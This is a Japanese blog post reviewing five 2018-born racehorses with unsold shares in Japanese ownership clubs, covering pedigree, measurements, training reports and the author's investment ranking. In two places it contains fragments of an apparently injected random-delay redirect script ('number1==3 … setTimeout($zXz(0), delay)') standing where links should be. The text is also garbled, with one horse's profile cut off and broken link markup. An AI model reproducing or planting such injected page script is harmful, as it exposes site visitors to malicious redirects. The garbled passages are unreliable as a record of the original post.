残口のある2018年産2歳馬の中から活躍馬を探そう

もうすでに各クラブ2019年産の募集が始まっていますが、まだ残口がある魅力的な馬も多いです。
今回私が入会しているクラブから4頭+他クラブで気になっている1頭を直近のレビューを交えてご紹介します。
(2020/8/1現在の残口がある募集馬)

ワラウカドでまだ出資できる2歳馬

セルフプリザヴェーションの2018()馬名:セラヴィー

キズナ
母 (母父) セルフプリザヴェーション(Lion Heart)
生年月日 2018年03月31日
募集価格 1,800万円
調教師 栗東 鮫島一歩
生産者 パカパカファーム
測尺 [体高cm / 胸囲cm / 管囲cm / 体重kg]
152 / 172 / 19.4 / 420 (1歳 8/31 9:00計測)
    評価
     種牡馬実績:★★★★★★☆☆
     母現役成績:★★★★★☆☆☆(愛・米2賞、重賞入着4回)
     母産駒実績:★★
    ★★★★☆☆(2頭デビュー:2頭中央勝ち上がり、OP馬シャルドネゴールド
    出生時母年齢:★★★★★★★☆(9歳:壮年 8-13歳)
      厩舎実績:★★★★★☆☆☆
      総合評価:★★★★★★☆☆
    募集時レビュー
    3頭のキズナ産駒のうち唯一の牝馬。
    鮫島一歩調教師はワラウカドで先日勝利を上げたストラトスフィアも管理しています。
    初仔のシャルドネゴールドは芝で4勝を上げ、京都新聞杯3着、菊花賞7着という重賞戦線でも活躍した実績馬。惜しくも亡くなってしまいましたが、順調であれば重賞の1つや2つ取れてたのではないかと思います。
    そして2番仔はワラウカドで募集されたセルフィー(父スクリーンヒーロー)。
    新馬戦は1800mでデビューしたものの距離が持たず7着という結果でしたが、非常に良いスピードを持っており勝ち上がりが期待されています。
    そして3番仔の本馬は父がキズナに変わりさらに切れ味が増しているのではないでしょうか。
    3頭のキズナ産駒の中でも日本の高速馬場への適性が最もありそうな配合です。
    体重は他馬に比べると比較的軽めですが、シャルドネゴールもこれくらいの馬体重でしたので問題はないでしょう。

    残口理由(推測)

    馬体重がなかなか増えてこないことに加えて、一度は本州へ移動したものの蹄の負傷のため再度北海道へ移動、打撲による腫れなど、頓挫が続き売れ行きが鈍っていると思われます。

    直近レビュー

    これまでの近況で”バネの効いた走り”といったコメントが何度か出ていたので運動神経は良さそうです。初仔のシャルドネゴールドに続き、クラブ募集馬のセルフィーもしっかり勝ち上がり母の安定感は抜群。父も好調のキズナで血統は魅力の塊。一度は入厩間近まで進んでいたので、ここから軌道に乗ればとんとん拍子にデビューに向けて進んでいくと思います。既に「満口近し」が出ているので悠長に様子見はできないかもしれませんが、このまま問題がなければ出資したいと考えています。

    ナンシーフロムナイロビの2018()馬名:レナーナ

    スクリーンヒーロー
    母 (母父) ナンシーフロムナイロビ(New Approach)
    生年月日 2018年3月28日
    募集価格 1,600万円
    調教師 美浦 大竹正博
    生産者 パカパカファーム
    測尺 [体高cm / 胸囲cm / 管囲cm / 体重kg]
    155 / 184 / 20.5 / 510 (1歳 8/31 9:00計測)
    評価
     種牡馬実績:★★★★★☆☆☆
     母現役成績:★★★★★☆☆☆(米・英5勝、うち米G2優勝
     母産駒実績:※初仔
    出生時母年齢:★★★★★☆☆☆(7歳:若年 ~7歳)
      厩舎実績:★★★★★☆☆☆
      総合評価:★★★★★☆☆☆

    募集時レビュー
    スクリーンヒーロー産駒でかつ母系のサドラーズウェルズ持ちというのはモーリスと同じ配合で、それだけで期待値が上がります。
    ただ、スクリーンヒーロー産駒は牡馬に活躍馬が偏っているので牝馬に出ている点が少し不安な点ではあります。
    とはいえ前年ワラウカドで募集されたセルフィー(セルフプリザヴェーションの2017)もスクリーンヒーロー産駒の牝馬ながら良い走りを見せてくれるので、杞憂に終わるかもしれません。
    初仔ながら510キロと非常に雄大な馬体です。

    残口理由(推測)

    データ上活躍馬の少ない初仔の牝馬である点や、牡馬に活躍馬が偏っているスクリーンヒーロー産駒というところで様子見されている方が多いのかなという印象です。

    直近レビュー

    7/24近況より
    “ペースアップしてからの勢いは調教を重ねる度に良くなっており、思っていたよりも早く良化スピードがあがっています。疲れを乗り越えてからの成長が著しく、これだけの乗り込みが継続できているのは馬体がしっかりしてきた証拠”

    7/31近況より
    “馬の調子が良いので、指示したペースよりも時計が出てしまうので、折り合いをつけながら乗り込んでいます。”

    このような近況からも分かる通り、前向きな性格でかなり状態が上向いている様子。
    また、初仔の牝馬に活躍馬が出づらい理由としては、馬格が小さく出やすいためそれに連動しているのではと考えています。本馬の場合は500キロ超と雄大な馬体なのでそういった懸念は払拭できます。さらに、募集時レビューで心配していたスクリーンヒーロー産駒の牝馬についても、クラブ馬セルフィーの勝ち上がりや、ウインマリリンのオークス2着などで見直されてきています。イメージだけでスルーしてしまうのはもったいない1頭ではないでしょうか。

    血統的にも魅力のある配合で、ワラウカド募集馬の配合考察を毎年書かれているめがねざるさんの記事(牝)馬名:ラヴマイウェイ

    残口理由(推測)

    遅生まれかつ大型馬ということでデビューが遅くなりそうな点、馬体に対する管囲の細さ、坂路でゴネたりといった少しマイナスに感じるコメント、ジャスタウェイ産駒の牝馬で2800万という価格設定が敬遠されている理由かなと感じます。

    直近レビュー

    本馬の募集時にはまだOP馬だった半兄のクレッシェンドラヴがその後重賞を2勝し、血統的価値がさらにあがった母ハイアーラヴ。今となっては2800万円という価格も十分妥当に感じます。募集時に評価した馬体もますます見栄えがよくなり、いかにも走りそうな雰囲気。残口理由に挙げた懸念点は多いものの、精神面が伴って調教をしっかり積めればデビューもそう遠くないはず。軌道に乗り始めた時の期待値は今回上げた5頭の中で最も高いように思います。

    クエストフォーワンダーの2018()馬名:クエストフォーラヴ

    キズナ
    母 (母父) クエストフォーワンダー (母の父:Makfi)
    生年月日 2018年4月7日
    募集価格 2,100万円
    調教師 栗東 野中賢二
    生産者 パカパカファーム
    (1歳10月上旬測定)馬体重419kg、体高155cm、胸囲173cm、管囲19cm
    (2歳1月中旬測定)馬体重413kg、体高155cm、胸囲177cm、管囲19cm
    評価
     種牡馬実績:★★★★★★☆☆
     母現役成績:★★★★★☆☆☆(英4勝)
     母産駒実績:※初仔
    出生時母年齢:★★★★★☆☆☆(6歳:若年 ~7歳)
      厩舎実績:★★★★☆☆☆☆
      総合評価:★★★★★☆☆☆
    募集時レビュー
    パカパカファーム産、母が英国で4勝を上げている、2歳戦で好調のキズナ産駒と期待出来そうな雰囲気があります。
    ただ、初仔の牝馬でこの測尺は少し心許ないですね。
    価格は、ポイント還元も含めると実質1000万円台なのでこの血統ならお得感はあります。
    距離は母系からマイルあたりに適性がありそうです。

    残口理由(推測)

    初仔で小柄な馬体と、近況から少し神経質な様子が感じられるのでそういった部分が心配されているのかなと思われます。

    直近レビュー

    7/24の時点で馬体重407キロと募集時よりさらに減ってしまっているのは少し心配です。ただ飼葉食いは良いようですので、精神面が成長して落ち着いて動けるようになれば徐々に増加してくるものと思います。また、“併走相手に負けることなく真っ直ぐ駆け上がってくれましたし、スピードにもしっかりと対応してくれました。”と近況にもあるように、一度走り出せば勝負根性はあるようです。

    なお、この馬に特に期待している部分は血統面。活躍するキズナ産駒の傾向と合致しています。
    血統については私が説明するより以前よりお世話になっているAyaseさんの記事(
    ラヴマイウェイ・クエストフォーラヴ血統)でかなり詳しく解説されています。広尾の血統解説ならAyaseさんのnoteは最高です。

    YGGオーナーズクラブでまだ出資可能な注目の2歳馬

    ブルーインザスカイの2018()馬名:シエルブルー

    キンシャサノキセキ
    母 (母父) ブルーインザスカイ (母の父:チチカステナンゴ)
    生年月日 2018年4月27日
    募集価格 1,000万円
    調教師 栗東 渡辺薫彦
    生産者 エムエム、ヤマダファーム
    (1歳9月27日測定)馬体重414kg、体高148cm、胸囲175cm、管囲20.3cm
    (2歳4月24日測定)馬体重468kg、体高155cm、胸囲184cm、管囲20cm
    評価
     種牡馬実績:★★★★★☆☆☆
     母現役成績:★☆☆☆☆☆☆☆(未勝利
     母産駒実績:★★★☆☆☆☆☆(1頭地方デビュー:勝ち上がり)
    出生時母年齢:★★★★★☆☆☆(7歳:若年 ~7歳)
      厩舎実績:★★★★★☆☆☆
      総合評価:★★★★☆☆☆

    残口理由(推測)

    クラブ(YGG)自体がまだ新しいため会員も比較的少なめで入厩直前まで様子見できる馬が多い印象です。

    直近レビュー
    募集当時は馬体重が414キロと小柄でしたが、直近の7/30は467キロと標準的な馬体重に成長。馬体バランスがよく、筋肉量も豊富で見栄えがします。先日YGGさんのツイートで近況動画が公開されましたが、動きも非常に良いですね。

    https://twitter.com/yggowners/status/1286889088050532352

    この馬の魅力はなんといっても成長力。募集時と直近の画像ではまるで別馬のように映ります。
    キリンさんのブログ記事(dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tokuchi-kirin.hatenablog.com/entry/2020/06/05/081442″ target=”_blank” rel=”noopener noreferrer”>シエルはカレーが好きなんです!)の方で綺麗に画像付きでまとめられているので是非見てみてください。

    YGGは未入会のクラブですが、ライト会員であればサブクラブとしても出資しやすいので絶賛検討中です。

    現時点での管理人の出資したい度

    1位 セラヴィー(ワラウカド)
    2位 シエルブルー(YGGオーナーズクラブ)
    3位 ラヴマイウェイ(広尾サラブレッド倶楽部)
    4位 レナーナ(ワラウカド)
    5位 クエストフォーラヴ(広尾サラブレッド倶楽部)

    出資するとしても1~2頭かなとは思いますが、締切間際までじっくり検討してみたいと思います。
    この記事を参考にご一緒できる方が少しでも増えれば幸いです。

     

    dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tom” style=”border-radius: 0px;”>2019年産最新募集馬レビューはこちら!